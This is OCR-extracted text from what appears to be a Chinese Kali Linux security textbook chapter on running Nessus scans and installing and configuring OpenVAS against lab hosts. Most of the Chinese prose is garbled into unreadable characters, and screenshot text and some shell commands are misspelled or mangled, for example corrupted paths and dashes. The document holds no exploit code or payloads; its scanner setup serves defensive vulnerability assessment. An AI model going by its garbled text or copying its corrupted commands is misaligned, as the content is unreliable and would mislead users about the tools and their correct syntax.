Sample Scan Export = Audit Trail .
Scans > Hosls n Vulnarabilities Hide Dwetails
Hest Vulnerabililies = Scan Details
216841 B - S
Foider: My Scans
182 168.41.234 Stalus:  Completed
Palicy: Local Vulnerability Assessmeant
192.168.41.235 [ 1] Tamets: 102 168.41.0/24
Stan lima:  Thu Apr 24 15:03:45 2014
End time: Thu Apr 24 15:08:00 2014
Elapsed; 4 minutes

Vulnerabllities

519 FHHlir s B

(6) MiZSFFInr LLES S8 T =6 . S Bl igal, wTel&EE
Vulnerability 1, %% i3 Foondai s i B2 A xR F R e s e, o
ML R, RE. Sag. HbsEVURE %, A AL E 2R T i ki,
3 S AE FAS (R 0 S s il P P T . ASHL LR i, BrRh s 2 lE A (Info) .
S TR A B ) e i AT vl LU Host #Uh ATl — N bhk,  Soriz B0 iEants
S CLAS TP Sk | 35 52 G0 2S00 L 04 A J I e Rt SR () 25 L A1) vh 4R 192.168.41.234
Mok, i 520 Fras.

Sample Scan Expoi Audit Trail v
Hosts » 192.188.41.234 > Vulnerabilities - Hide Dielails
Saventy = FPlugin Name Count A  Host Detalls
netstat portscanner (SSH) 4 IP: 192.168.41.234
08! Linux Kemeal 2.12-kali1-886-pas

Start time: Thu Apr 24 1504:43 2014
End fime:  Thu Apr 24 1504:57 2014
KB Dhemain| oo

“ Vulnerabllities

520 GG R
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(7) TEiZSt it INFO #5648 Bos AR aEE B, E 5.21 fros.

B netstal portscanner (SSH) ~  Plugin Detalls
Seventy: Info
Description mty
Io: 14272
This plugin runs netstat' on the remate machine to enumerate open pors. T 157
Typa: rarmote
See the section 'pluging opficns' to configure it.
Family: Paor scanners
Publishe: 2004/08/15
Output Madifisd: 2013/10/30

Port 68/ /udp was found to ba opsen
#.  Risk Information

Port = Hosts
Rizk Factor Nona
B3/ udp 192.168.41.234
Port BE34/bep was found ke be open
Paort = Hosls
BE34 o | www 192168.41.234

Port 15774/udp was found to bes opan

-I|

521 FHEES S E

(8) ZA R 1A iR GG B BI04 B B, P ETFE T 68, 8834
115774 %555 101 . 48 H Nessus i o] O Rk G B Sc - r oy A G i B, St
£ 4% Nessus, PDF., HTML. CSV Fil Nessus DB. S i {0 7 =l - By o

7E [ 5.20 " ey Export $icl, JEFE T SCF A% oK. GX HLIE$E PDF #5240, i PDF
4, i 5.22 Fros A .

PDF Chapter Seleclion

Avallable Content Report Content
Drag and organize content hare.

Hosts Summary (Executive)

Vulnerabilities By Host

Vulnerabilities By Plugin

{522 afHMHE

(9) ZFLM 4 AP, 1445 Available Content (1] I[N %8) F1 Report Content ¢4}
TN o A ISR T S H Y PDF SCHFEb el A5 1 W 35T BN EAE B P0G 04
PRk . 7P 5.22 ofels 25 A 2 BUPRHE S Report Content HEH,  #E A 4 28Jq 8 S
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Wi 5.23 Fras i deii .

Available Confent

PDF Chapter Selection

Vulnerabilities By Host

Report Content

Hosts Summary (Executive)

Vulnerabilities By Plugin

PH5.23 SHMHNE

(100 FEZSr s TR Z AN SR . BEIR ady Export $26L, ff 2 infd 5.24 oy

IR

You have chosen to open:

.| Sample_Scan_pme3e2.pdf

which is a: PDF X1 (23.6 KB)
from: https./f127.0.0.1:8834

Would you Like to save this file?

Opening Sample_Scan_pme3e2. pdf

e 1
| Cancel l Save File

g 5.24 AL YRR

(11) fEiZ 5[0 i Save File $&41, f55E &% CAFRIRIFALE, B) PDF S0 ) .

5.1.3 MR

T H] P AR Y Nessus Kot 00 B e ], S50 B0V Aol s o] 30 2 9 o R
{5 P PFA 2 He 0 AN ATHE A 4100 B Nessus 78 FH AR LS F0M 280k, 128810 57 H bs 1

BLEE Al 59 288 P 130

[SCf 5-2]  F06 P00 2 s 0 ) A3 4 20 B s
(1) a4 4 Internal Network Scan 5 0% .
(2) FhnETH SRR, Wi 5-1 Fros.

# 51 FMRETEF

CISCO 1410 CISCO Fin

DNS 414 DNS i %45

Default Unix Accounts 1 4 At R P W P R R
FTP 4 FTP JIi 55 4%

Firewalls F 14t C R M

Gain a shell remotely FA 4 F 2L ) Shell

Geeral FH 3 H e 55
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£
Netware F A g e 1 R i
Peer-To-Peer File Sharing EEE PR RS il
Policy Compliance 14w PCIDSS fil SCAP {5 &L
SCADA H R TR
SMTP Problems 14 SMTP (o] fisi
SNMP 14 SNMP #5605 &
Service Detection F1 4 L 45 (o1 £
Settings EEE R Ny
(3) #ri 4 4 Network Scan $145 {155 .
(4) FHHEs R 5.25 o,
Network Scan Export = Audit Trail -
Hosts > 192.188.41.1 > Vulnerabllities u Hide Details
Severly = Plugin Mame Coum ~ Host Detalls
[ 851 Cerificate Cannot Be Trusted 1 IP: 182.168.41.1
DS localhost
= S5L Self-Signed Cerificate i MAL: DD:50: 5Ee 0 00:08
05 Microsoft Windows 7 Ultimate
SRR  essus SYN scanner 7 Stan time:  Fri Apr 25 13:37:33 2014
End time:  Fri Apr 25 13:39:18 2014
Service Detection 7 KB: Download
\iiware ESX/GSX Server detection 2  Vulnerabiities
m Camman Platfarm Enumeration (CPE) 1 L

525 MEEFREETR

(5) PN inn] LA 204 P A Ee ™ S pifai] o AR BV E A A B izl R O
izfa B ARSI E AR T

5.1.4 $EE Linux IR G TRRE

AN A 4348 H Nessus $14 45 5E Linux 54011 #6TH .

[3f15-3] 445 E Linux 406 ) AR P 3RO B B,

(1) {iH] Metasploitable 2.0 1§24 Hos EHL. H Pt a] LIAE H 3L A AR (1] Linux R4t
(2) #rE 4 4 Linux Vulnerability Scan 50 .

(3) Eshnpr s, WiEk 5-2 Fow.

#5-2 FwAHGERF

Backdoors PR E R

Brute Force Attacks Bk

CentOSo Local Secunty Checks 5 CentOS FE &L A b v 4= g il
DNS 14 DNS [l % 7%
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s
Debian Local Security Checks $1%0 Debian 5555 1Y A< dh % 4 i
Default Unix Accounts FHEER L Unix B Pk 5
Denial of Service 441 0 Y R 5
FTP 14 FTP R4 2%
Fedora Local Security Checks 14l Fedora & 40 1) A b2 410
Firewalls 134 B <M
FreeBSD Local Security Checks 146 FreeBSD F 40 (1 A= b 22 =i il
Gain a shell remotely {5l B AR 75 6 Shell
General EREiib T
Gentoo Local Security Checks 4 Gentoo &) A Hb & 4= i
HP-UX Local Security Checks F4 HP-UX FR 40 Akl 4 4= 8 i
Mandriva Local Security Checks 34 Mandriva 5450 A & 42 i T
Misc 14 52 2 0 R
Red Hat Local Security Checks 34 Red Hat 540 (1) 4 Hh 2 4 g
SMTP Porblems F146 SMTP Jn) il
SNMP 14 SNMP i
Scientific Linux Local Security Checks 14 Scientific Linux 5 & [ A< %2 4 i 1
Slackware Local Security Checks F14# Slackware T 4511 A<Hh 4 4
Solaris Local Security Checks 14 Solaris 7 & 1) A 1t 4= iR
SuSE Loecal Security Checks 4 SuSE F 4 (1) AHb 4 4= i
Ubuntu Local Security Checks F155 Ubuntu 7 &6 (1 A< i 22 4 i il
Web Servers 115l Web IR % &%
(4) #ridi4, 4 Linux Vulnerability Scan 4 {1-4 .
(5) kR, s R 5.26 Bros.
Linux Vulnera. .. Expot = Audit Trail - -
Scans » Hosls n Vulnarabilities Remeadiations MNoles Hida Dalails
Hos! Vulnerabilities = Scan Delalls
162 168.41.254 n Nam Linux Vulnerability Scan
Folder My Scans
162.168.41.2 "_ Status Completed
Palicy: Linux Vulnerability Scan
162 188,41 295 “ Targels:  192.168.41.0/24
Star time:  Fri Apr 25 14:06:39 2014
182 168.41.234 “ End time: Fri Apr 25 14:13:00 2014
Elapsed: 7 minutes
162.168.41.1 T
Vulnerabilities
192168.41.142
W irio
- Lon
=
& caeal

4 5.26

56 Linux RE4 50
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(6) MazFtme] LA RS IEHA T 6 5 B0 EmieiE R, b, 300 192.168.41.142
FAFE T AN BT E AR . S TR G A et A, nT RO T M e E e TR R
[F#E, AP el LU arin - e oy, A e A

5.1.5 13 E Windows B &R %R

ASTATEE AT H Nessus 493145 52 Windows F 45 111l .

[z 5-4) {FH] Nessus 4145 ¢ Windows F#450H - A<®vp {4 H Windows 7 #401{E
o HERENL. RS EG F s

(1) Frik4 &y Windows Vulnerability Scan il .

(2) Ehupr G s, sk 5-3 Bk,

#* 5-3 FmAHERF

DNS 14 DNS Jt % 45
Databases 140 HdE

Denial of Service F A A ) R %

FTP {14 FTP [R5 45

SMTP Problems 14 SMTP [r]

SNMP 11 SNMP

Settings i E AR

Web Servers 14 Web Servers
Windows {14 Windows
Windows:Microsoft Bulletins i Windows TP 15
Windows: User management 14 Windows H] P45 B

(3) Freaaahibii . e A nE 5.27 Fos .

|
Messus [ Scans / Hosts - lceweasel Hlillj
File Edit View History Bookmarks Tools Help
3 Messus [ Scans [ Hosts H =] l
€ | @ nitpsi//127.0.0.1:8834/html S html#/scans/56092639-fb1d-9cf5-a07 v @] [E¥ Google a § o
B Most Visited~  JflOffensive Security " Kali Linux "8 Kali Docs EBExploit-DB Wy Aircrack-ng
Windows Vul... Expot Audit Trail v -]
Scans » Hosls . Vulnerabilities Hide Details
Hist Viulnerakilities ~ gcan Detaills
192 168,411 _ Name: Windows Vulnerability Scan
Folder My Scans
Stalus: Complatad
Palicy: Windows Vulnerability Scan

Tamgels: 192 168.41.1

Star fime:  Fri Apr 2514:09:15 2014
End time: Fnr Apr 25 14:10:52 2014
Elapsed: 2 minutes

4527 i Windows 5[ 4) &
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(4) MazStmnl LA S EHL 192.168.41.1 FkslE oL, 2 EIP A A EREE ™ 1
Tl o [RVEE P n] LLUAE F R A i P RO i i E R VRS B, R M b AR
£F 1y i il o

5.2 1% 8 OpenVAS

OpenVAS ( ']Tfii;rt‘ihréﬂ”' PR R G0 N P i/ R 55 25 480y, R B RVEAS B R 8L
R OpenVAS Jit Nessus HH (1)~ 2, SRR ML S 2%, OpenVAS
BV REAEARMERY Kali Linux [, AT A 4100 ¥ 2 1 58 OpenVAS.

5.2.1 HBC.E OpenVAS

OpenVAS BATE Kali Linux 289035, WP EAEHEZ TR, oSy —Senl .
Ml E OpenVAS H A0 I F s,

(1) 7E& 0% D U)# 2] OpenVAS Hat, 4 OpenVAS Ff-) g SSL ik 15. #irdm
AR g

root@kali:~# cd /usr/share/openvas/

root@kali:/usr/sharefopenvas# openvas-mkcert

AT B A ha, B IR s B

Creation of the OpenVAS SSL Certificate

This script will now ask you the relevant information to create the SSL certificate of OpenVAS.
Note that this information will *sNOT+ be sent to anybody (everything stays local), but anyone with

the ability to connect to your OpenVAS daemon will be able to retrieve this information.

CA certificate life time in days [1460]: HEE CAEHFHETE
Server certificate life time in days [365]: #i% B AR 553 F B AT )
Your country (two letter code) [DE]: HigEEXR

Your state or province name [none]: s B M = &0

Your location (e.g. town) [Berlin]: HigEH

Your organization [OpenVAS Users United]: iz EALN

DL G B, TR SR 0T DUASEC . AN ARG B, HECT Enter B
Wegh BT BLE(E B E e, 5 nR FEE:

Creation of the OpenVAS SSL Certificate

Congratulations. Your server certificate was properly created.
The following files were created:
. Certification authority:
Certificate = /var/lib/openvas/CA/cacert.pem
Private key = /var/lib/openvas/private/CA/cakey.pem
. OpenVAS Server :
Certificate = /var/lib/openvas/CA/servercert.pem
Private key = /var/lib/openvas/private/CA/serverkey.pem
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Press [ENTER] to exit

i th A9 B s T B OpenVAS B4 Jefi B . U % F Enter i, JEHFF.
(2) fiH] OpenVAS NVT Feed [ 21 OpenVAS NVT #cdhi 142, - HL 507 5 (17 ksl 2 7 o
AT i & R PR

root@kali:/usr/share/openvas# openvas-nvt-sync

[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.

[i] The 'OpenVAS NVT Feed' is provided by 'The OpenVAS Project'.

[i] Online information about this feed: 'http://www.openvas.orglopenvas-nvt-feed.html'.

[i] NVT dir: /var/lib/openvas/plugins

[i] rsync is not recommended for the initial sync. Falling back on http.

[i] Will use wget

[[] Using GNU wget: /usr/bin/wget

[i] Configured NVT http feed: http://www.openvas.org/openvas-nvt-feed-current.tar.bz2

[i] Downloading to: tmplopenvas-nvt-sync.xAKyyzYVdT/openvas-feed-2014-04-25-8214 tar bz2
--2014-04-25 14:35:48-- http:/f'www.openvas.org/openvas-nvt-feed-

current.tar.bz2

IEFEfR#TE 41 www.openvas.org (www.openvas.org)... 5.9.98.186

IF#EEEE www.openvas.org (www.openvas.org)|5.9.98.186(:80... B¥E#.

B%&MH HTTP ik, EES#HER... 200 OK

€. 14771061 (14M) [application/x-bzip2]

EHEFEFZE: “/tmplopenvas-nvt-sync.xAKyyzYVdT/openvas-feed-2014-04-25-8214 tar.bz2”
14,771,061 54.0K/s FBEf 7m 16s

2014-04-25 14:43:07 (33.1 KB/s) - BR&%F “/tmplopenvas-nvi-sync.xAKyyzYVdT/openvas- feed-
2014-04-25-8214 tar.bz2” [14771061/14771061])

12planet_chat_server xss.nasl
12planet_chat_server_xss.nasl.asc
2013/
2013/secpod_ms13-005.nasl.asc
2013/gb_astium_voip_pbx_51273.nasl
2013/secpod_ms13-001.nasl
2013/deb 2597 .nasl
2013/gb_astium_voip_pbx_51273.nasl.asc
2013/secpod_ms13-006.nasl
2013/gb_edirectory 57038.nasl
2013/secpod_ms13-006.nasl.asc
LCEEBONE..
zope_zclass.nasl.asc
zyxel_http_pwd.nasl
Zyxel_http_pwd.nasl.asc
zyxel_pwd.nasl

zyxel_pwd.nasl.asc

[i] Download complete

[i] Checking dir: ok

[i] Checking MD5 checksum: ok

far 4 S s AP OpenVAS NVT S04 FE 45 B, R SR 1 Brfa [kl 5 6 .
(3) IR P EHEE . AT ar 4 W F R,

root@kali:/usr/share/openvas# openvas-mkcert-client -n om -i

Generating RSA private key, 1024 bit long modulus
++++++
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++++++

e is 65537 (0x10001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter ', the field will be left blank.

Country Mame (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality
Name (eq, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit
Name (eg, section) [:Comman Name (eg, your name or your server's hostname) [:Email Address
[l:Using configuration from /imp/openvas-mkcert-client. 16792/stdC .cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

countryName :PRINTABLE:'DE'
localityName ‘PRINTABLE:'Berlin'
commonMName PRINTABLE:'om'

Certificate is to be certified until Apr 25 06:55:05 2015 GMT (365 days)
Write out database with 1 new entries

Data Base Updated

User om added to OpenVAS.

PL S S B s T A Pl B A B, IR T om H
(4) TEEARE. hATdr %W F R

root@kali:/usr/share/openvas# openvasmd —rebuild

PATLEL Ean 2 )5, e el G 8.
(5) Jazl OpenVAS 34, HINEFTHIEM. AT S0 .

root@kali:/usr/share/openvas# openvassd
Loading the OpenVAS plugins...base gpgme-Message: Setting GnuPG homedir to ‘/etc/openvas/

gnupg’
base gpgme-Message: Using OpenPGP engine version '1.4.12'
All plugins loaded

M H A0 G b T DR BT AP . B s iR e 2, B LT Zdn 2
ey ) b — i
(6) HEIF R EEER &0 AT AW R,

root@kali:/usr/share/openvas# openvasmd --rebuild
root@kali:/usr/sharefopenvas# openvasmd —backup

PATLA @A, BT B .

(7) Qg /MFH OpenVAS M P o $0AT fir &1 F 75

root@kali:/usr/ishare/openvas# openvasad -¢ 'add_user' -n openvasadmin -r Admin

Enter password:

ad main:MESSAGE:2732:2014-04-25 15h25.35 CST: No rules file provided, the new user will
have no restrictions.

ad mainMESSAGE:2732:2014-04-25 15h25.35 CST: User openvasadmin has been successfully
created.

Mgt s S F'I'J LA £ H) ﬂpenvasadmin W R Th 1 e .
(8) Q& EEH . AT S R R
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root@kali:/usr/share/openvas# openvas-adduser
Using /varitmp as a temporary file holder.
Add a new openvassd user

Login : lyw #HEMNBPA
Authentication (passicert) [pass] : pass #RFINER I
Login password : #HEERAPEN
Login password (again) : #Hig NN RS
User rules

openvassd has a rules system which allows you to restrict the hosts that lyw has the right to test.
For instance, you may want him to be able to scan his own host only.

Please see the openvas-adduser(8) man page for the rules syntax.

Enter the rules for this user, and hit ctrl-D once you are done:

(the user can have an empty rules set) #1% T Ctrl+D
Login s lyw

Password CkkkkEEE R

Rules :

Is that ok? (y/n) [y] v #iiNy, IREHIE
user added.

M th A5 S B P aas
(9) 4 OpenVAS Bt di . AT dr &4~ B s

root@kali:/usr/sharefopenvas# openvasmd -p 9390 -a 127.0.0.1
root@kali:/usr/share/openvas# openvasad -a 127.0.0.1 -p 9393
root@kali:/usr/share/openvas# gsad --http-only --listen=127.0.0.1 -p 9392

PATLL Edr4 5, OpenVAS [ 145 5 4 % ¥ 9392.
EFE: 9392 R4EHFG—A Web R ILEM ., R F L TilikiFbinn 5,
(10) 7350 % 25 P4 N http://127.0.0.1:9392/, 47 OpenVAS 3L 5, Wik 5.28 .
Gresmbans Securty Assitant - kewessel " [a x|

File Edit Wiew MHistory Bookmarks Tools Halp
|I & Greenbone Security Assistant ‘ o |

[@ 127.0.0.1:933: ~ | B~ cooge QA §

fo Mast Visited™  lOMensive Security " Kali Linux ", Kali Docs

Greenbone Security Assistant

Usermame |up=nva=ad-mn

Password lewsnan

4 5.28 OpenVAS T a5
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ATRERE

C11) FiZSt A A H P 2%, S8R5 90 Login #0Hl,

A S -

File Edit Veew History Boolkmarks Tools Help

¢ Gresnbone Security Assistant | re

Greenbone Security Assistant = lceweasel

ot 5.29 B

moo

¥ & 127001

4 Greenbone
= hecunty Assistant

& B~

BEMest Visited> [l Offensive Security S Kall Linux "%, Kall Docs  EBExploit-D8 Wy Arcrack-ng

¥ r
m e

At _

Fiter: |apply_owerrides=1 first=1 rows= 10 sort=name

P 5.29 OpenVAS )& 5

F sl OpenVAS 4121

5 OpenVAS 14 4%
R
o U B
i g 1

R TR, RS s S
TN A L4 2l OpenVAS sh,

#/bin/bash

openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd --backup

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393

gsad --http-only --listen=127.0.0.1 -p 9392

EIEIEIDI:I“};L

i 55 UFAZ A, LA IZAT OpenVAS
MARMITE AL T, AEmERIr—F
OpenVAS.sh JIA< gk o] LT .

& Kali tf, OpenVAS th3f{lt [ B 5%
lil. Ki5) OpenVAS E TS Tz -

f Kali 5 bR ook £« B H
7 |Kali Linuxl “Pa il 4 HT 7 |OpenVAS
openvas-gsd 174, 4 B nfE 5.30 Fron )

LTI

{E % 9t 0 foON IR % 2% nY oMb Rk

127.0.0.1. H P Aok s . 95 b
Log in i #l BV 7] %7 5r 3 OpenVAS JIl 9545 .

[ 26 NVT Feed 5711 ia il B DL,

% LA £E froot SCE,

I &

Please orier addesn
u:n.rtfr.! pUr B

IF o aebect orm of the
profles, you oy reed bo
arbar e pau sl

Belors o press e lodg in
BRiron, g ey Lo the

feeid pealle

Mate. that the soarm erspes
mesl e HP pppeort
ermsied B the grern gk
For @ sucors il correchion

Fg 5.30

BB IS B FRIRIETT OpenVAS I, #0040 B M LT T4
Zid o)

A~ 9.1 Bash A4S, J7 {8 H P J3 30 OpenVAS. fx

HEASSCAT N T BT -

Log In

Profile

b

Save Delete

Serveraddress  Port

127.00.1 | (9390 |8
Username

openvasadmn

Password

|smsnunsn ]

l Log in Cancel
OpenVAS 475 & Sl
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5.2.2 £Ii# Scan Config 1%

ML 158 OpenVAS BRRCTHAF T, BLCEHEFISIK B0 Jr A B B8 . %0 55
886113742 Scan Configs CUELHH H b5 B SR S5 47 LUBAT & FRRIREI . 1B X
Wofis LR P BRAT BLHEAT 4 RO T, AR . %

FU RS B R AR . TRz o, s T
G4k Scan Config FUEHIFES 4. K TH A BIAFUKSHRE, FFERM | rorme
flyfii =

Alerts

1. #iEScan Config Filers

Schedules

Hrt Scan Config [ EASRAT 20 BR U Frors. S
(1) FERRSE S5 i) S ipp vh il Ve i 4% Configuration|Scan Configs i agents
%, WfE 5.31 Pros. Hiidi Scan Configs T4 i, B nf# 532 Fis pgs3

S B
THETIIAR
Scan Configs 1 - 5 of 5 (total: 5) PwRE ¥ e

Filter: [rows=10 first=1 sort=name EEH (& |- * o

Scan Configs

empty i
(Empty and static configuration termplate.) — — e

Full and fast

4 =
(Mast NYT'S; optimized by wsing previoushy collected information.) 51 L 34554 L4 . m id

Full and fast ultimate =

1 Lad M REa0
(Mast N¥T's Including thase that can stop services’ hosts; optimized by wsing previously collected information.) - 34634 L4
Full and very deep &1 14634 [ =}

(Mast NWT's; don't trust presdously collected information; show.)

Full and very deep ultimate

X 51 34694
{Maost N¥T's including thase that can stop services/hosts; don't trust previously collected information; slow.) s — asug

P4 532 Scan Configs FH1

(2) Wiz i ny BLE #ER S AL AT 5 4> Scan Config. 71 1% Y111 4. 52 New Scan Config )
b, o nlE 5.33 Frosi S .

' GreeanH e = Logged in & Admin openvasadmin | Logouwt
827 Security Assistant

Scan Management Asset Management  Secinfo Mamagement Configurazion KETaS Admimistratien

New Scan If_'-:::-nhg T '

Name |Local Vulnerabilities

Carmment [optional) |

\® Empty, static and fast
Base o

) Full and fast

Create Scan Config

4 5.33 New Scan Config
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(3)LE 12 S 150 B S 1 42 B, 3X HU1% B 4 Local Vulnerabilities. X T+ Base £ $¢ Empty,
static and fast & IEHE, ZIET RV P M EIT IO B ARG E . 28 5 il Create Scan
Config 8, S HRFHRMPINE, WE 5.34 k.

rimies o |
Actions

Local Vulnerabilities 0 B o B BaEca

B 5.34 G EE Local Vulnerabilities

(4) MiZ S a] B3 #1038 219 Local Vulnerabilities, %546 #81Z fc % 0] L %1 p&C Edit Scan
Config) [Elbr. fl#4f Scan Config J5 e FE41 0 P 75 o b e B o VR B e 8 414 1100 1N 55
P 5.35 Fion.

Edit Scan Config @@

Hame Local Vulnerabilities

Comment {aptianal]
Save Config

Edit Network Vulnerability Test Families

Family alos NY¥YT's selected

Compliance Oald ] R = i [}
Datahases 0ol 115 8] 2]~ [+
Debian Local Security Checks 0of 2899 rEEE Ol ]
Default Accounts 0of 68 81 .~ §C] =+ [~}
Denial of Service 0of&77? ] # Ko = -+
e 0 of 168 o= ]
Total: O 0ofd =
Save Config

E 535 IEFFRINE

(5) MiZ SR Family £285 247 1R 2 F 0] 3505 B, e Select all NVT's #2Hf1 5
EHE 3k FRIn], #W¥S5ElS, il Save Config f£H. [ 5.35 22l EXUsm 1#, %
FHE AN ERE, ATRERRE, ZEEEE T 8.

2. IEEW

TE R4 25 I 32 B v i ik % Configuration|Targets #i74, #f SoniuiE 5.36 (i)
SR -

'”_JI Gm“bﬂ“e :f E Logged in as Admin -:-penvasadmln | Logout
% Security Assistant

Scan Management Assel Management Seclnfo Management

Targets 1 -1 of 1 (total: 1) TEE W

Filter; [rews= 10 first=1 sort=name @8
S S N S T e —
Localhost localhost 1 OipeniiAs Default (L[58 =] 1|

P 536 Targets Y-
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etk (New Target) s, 14§ 5nfE 5.37 oSt .

Mew Target i & .

o I Local Vulnerabilities J

Hasts )
™ manual llutalhusl

) From r.|.e! Browse,., Mo file selected

Comment [optional) [ J

port Lt ALL IANA assigned TCP 2012-02-10 2l

55H Credential {(optional)

L[]

an-nrl.!ZZ J

SME Credential (optional)

L]

| Create Target

| 537 # il Target ¥t

{EiZ% St A Target 4485 B A4 1) E L. 28 J5 8167 Create Target 1%4H , o 5= %] 5.38
RO ITR

e Tioss i [t Lssncrsen|swecran

Local Vulnerabilities localhost 1 All TANA assigned TCP 2012-02-10 il [ ]~ ]»] 4]
Localhost localhost 1 OpenVAS Default ﬁu

P4 538 CHTEH bR
M S v LA F HE Local Vulnerabilities H i .
3. MEIESH

1F OpenVAS 195 2 fh i ik % Scan Management|New Task #ir 4=, 5 5P 5.39

ENOE IR

Lol ?Lclcal Vulnerabilities

Comment (optional] [

Scan Config Local Vulnerabilities o]

Scan Targets Local Vulnerabilities <

Merts foptional) -2 |I + |

Sehedule (ptional) - =3

Slave (opticenal) - |

Observers (optional)

Add results to Azsat p=

Management — i =

Scan Intenslty

Maximum concurrently executed NVTs per host [4 |

Maximum concurrently scanned hosts 20 [
Create Task

P 5.39  FHET S
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TEAZ % B T4 4 %5 . Scan Config 11 Scan Targets, #%J5 fiili Create Task %6, 1%
Sbatn 4 5.40 Bt S .

Tasks 1-10of1 (total: 1) MANE W

Filter: apply overrides=1 first=1 rows=10 sort=name (7]
Status Total Trerd Actions
[FrtJiosr e |
Local Vulnerabilities Ld EREC0

540 iR

{EZ SR 173 (Start) B¥, RITRREER. SR80S n, &b h0
(Pause) , filpiZd&tlnl LLE 4, BrT LIl (Stop) 551494

5.2.3 A RERE

OpenVAS i H P S B4 R, e FLks R IE P e a0 de b . H b 0L S
42 A2 MV AR AR S B AT A 4] OpenVAS K3 HI P 45 5E A H AR &
gt bl . F4 A i 0 BAR SRR AP IR R B s

(1) i+, 4 Local Vulnerabilities [ Scan Config.

(2) b 2e8d, B LR 3k 5.4 fias.

*5-4 HHErnEE

Compliance f14i Compliance il

Default Accounts FHRER U e

Denial of Service F40 4 2 1R 45

FTP F4 FTP A 5 4% s i

Ubuntu Local Security Checks 14 Ubuntu 572 460 A< 3 2 4 i b

(3) GlE Hbr R
(4) fE 4 4 Local Vulnerabilities 47741545 .
(5) FH A I W 1Y o SR Wi 5.41 ok,

Tasks 1-1of 1 {total: NEAHE B | ho aen-retrazn | 2 | JApply overreles © |

Fllter appl',' overrides=1 first=1 rows=10 sort=name g -*m8
ot ota _ rrend | nctions

_- m

Local Yulnerabilities Agr 25 2014 Ld EIE eSS

Pl 541 4T e 1

(6) £FiZ 70 i8N (Task Details) [Ebr, ArF IR R . 5o 5 e
5.42 Fron.

(7)) LS s TS E, 20 DS T 5 PE s B A g i R 5 B . P

P ol BT iR AcHh RS AN . fEiZ St Actions £ FUEN (Details) ¥
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’.h‘l:-“.[ I':-L ﬁﬂﬂf‘gﬂhlﬁj’ﬂn - r |1 L/ H‘I t""JI s :{{}i \L[f f'J\ i”]x‘l 543 }r{lxr]"‘j-ji]*mlu

Task Detail: N B Erd

Mame: Local Yulnerabilities 1 aly1 954002039 4881 -B2 Te- o5 25 ead TddS
Camment: Created: Sal Apr 26 D4:02:-54 2014
Last Mosdified: Sat Apr 26 04:05:51 2014

Scan Config  Local Vulnerabilities

Alerts: ¥
St hedube: (Mext due: over)

Target Loeal Vulnerabilltles

Slave:

Starturs L —

Reports: 1 (Finished: 1)

Oibsarvers

Add to Assets: yes

MNotes: o

Owerrides: @

|
Scan Intensity

Maxirmum concurrently executed NVTS per host; 4

Maximum concurrently scanned hosts: 20

Reports fo or "Local Vulnerabilities” 1

. _— scangesuts Ly,
= . . .

Sllll r 26 04:05:48 2014 ,
’ » BB

0 o 1] 0

F 542 3 vEanfE B

Result of Task: Local Vulnerabilities Task

Order of results: by hast
Scan started: Sat Apr 26 07:25:19 2014
Scan ended: Sat Apr 26 07:25:24 2014

Scan status: e

Full report: POF

All fileered results: ] 0 o 0 0 ] ~ |ILd PoF - [EY
Filtered results: ] 0 o 0 0 ] - |ILd FOF |- (EY

4543 fREGME

(8) FE1% 5L o TS B, pessfs Barelimst 950 (Download) Bk F k4
e

= e

524 MR

AANAAG A HEH] OpenVAS F148 -~ L ikl {5 BT H s £
hEEA S SHE R . AT Windows XP. Windows 7. Metasploitable 2.0 fil Linux &
SeAE N H AR R A FH o £ R ) 2 A 1 D R R .

(1) 4, & Network Vulnerability 1] Scan Config.

(2) FInprdAfmER, ke 5-5 Bk,
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ATRERE

#* 5-5

P

Brute force attacks

Buffer overflow

FHER A7 i i

CISCO 3 CISCO % o
Compliance 14 Compliance il
Databases F 5 A8 FE e il

Default Accounts

EREEUNINT S TH

Denial of Service

FAH 0 A e 55 i

FTP

144 FTP R 45 250

Finger abuses

35 Finger 1% K] &l

Firewalls

4 5 b 355 1)

Gain a shell remotelly

IR R Shell (i

General ERE b M ]

Malware AR E A
Netware ERE T EE B
NMAP NSE 1155 NMAP NSE il

Peer-To-Peer File Sharing

FH AL S

Port Scanners

A4 i 1 e

Privilege Escalation

IR R

Product Detection

FH - o 52

RPC 44 RPC il

Remote File Access A A S i R
SMTP Problems F44 SMTP |u
SNMP 145 SNMP il

Service detection

R 5 0052

Settings

AL A v R

(3) @44 ) Network Vulnerability [] s 54t .
(4) )i 4 A Network Scan 4% .
(5) fHEs R, Wk 5.44 .

Tasks 1 -7 of 7 (total: 7) BLiENE W v | VApply overdes ¢ 5
Fileer: [appl-,- overrides=1 first=1 rows=10 sort=name =% |
Repu. rts
Metwork Scan Apr 2B 2014 > EIESEE N
Windows Scan | 1 Aps 16 2014 L [~ 4]
e R
X il s
P4 5.44 Network F14445 %

(6) Mz 5 ar LU B A M & b il il B 15 AR I, iIRas S Medium. &
EAM s 0 418 0 1 A AR AT e e, X L AN A .

5.2.5 HigE Linux REER;E

SEEY THELENSS: 9 i Sy

£ 143 -
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{5 B otk S AR

H bR R 28 fir s 1) Linux &%90. #EFIER] 1 H $x Linux 540 % Metasploitable 2.0 F1HADBAT
Al A Linux. $384645 50 Linux REEHF 09 AR 1E D5 T s,
(1) #i 4 2h Linux Vulnerabilities (1) Scan Config.

(2) ESIFr S MR, Wik 5-6 fion.
#5-6 1mahenl
Brute force attacks % By
Buffer overflow 190 2 A L it T
Compliance 4 Compliance %
Databases 131 Ho s i
Default Accounts FAHGELH] P e
Denial of Service 194 4 R 55 1) 3 R
FTP 14 FTP Bhe %25
Finger abuses F-14th Finger il F 3 i
Gain a shell remotely AL e FE Shell il
General $-14t General i
Malware F 0 R A el
Netware EREMESST B
NMAP NSE {14 NMAP NSE i i
Port Scanners EREETINE
Privilege Escalation AL THE B
Product Detection ERE TRt TR (I TTHE)
RPC 3t RPC il
Remote File Access 1A S A7 1)
SMTP Porblems FI4 SMTP ] i
SNMP 14 SNMP i
Service detection F3 e 55 ot 52 s i
Settings 9 HE A B T i
Web Servers 14 Web Hie 45 il
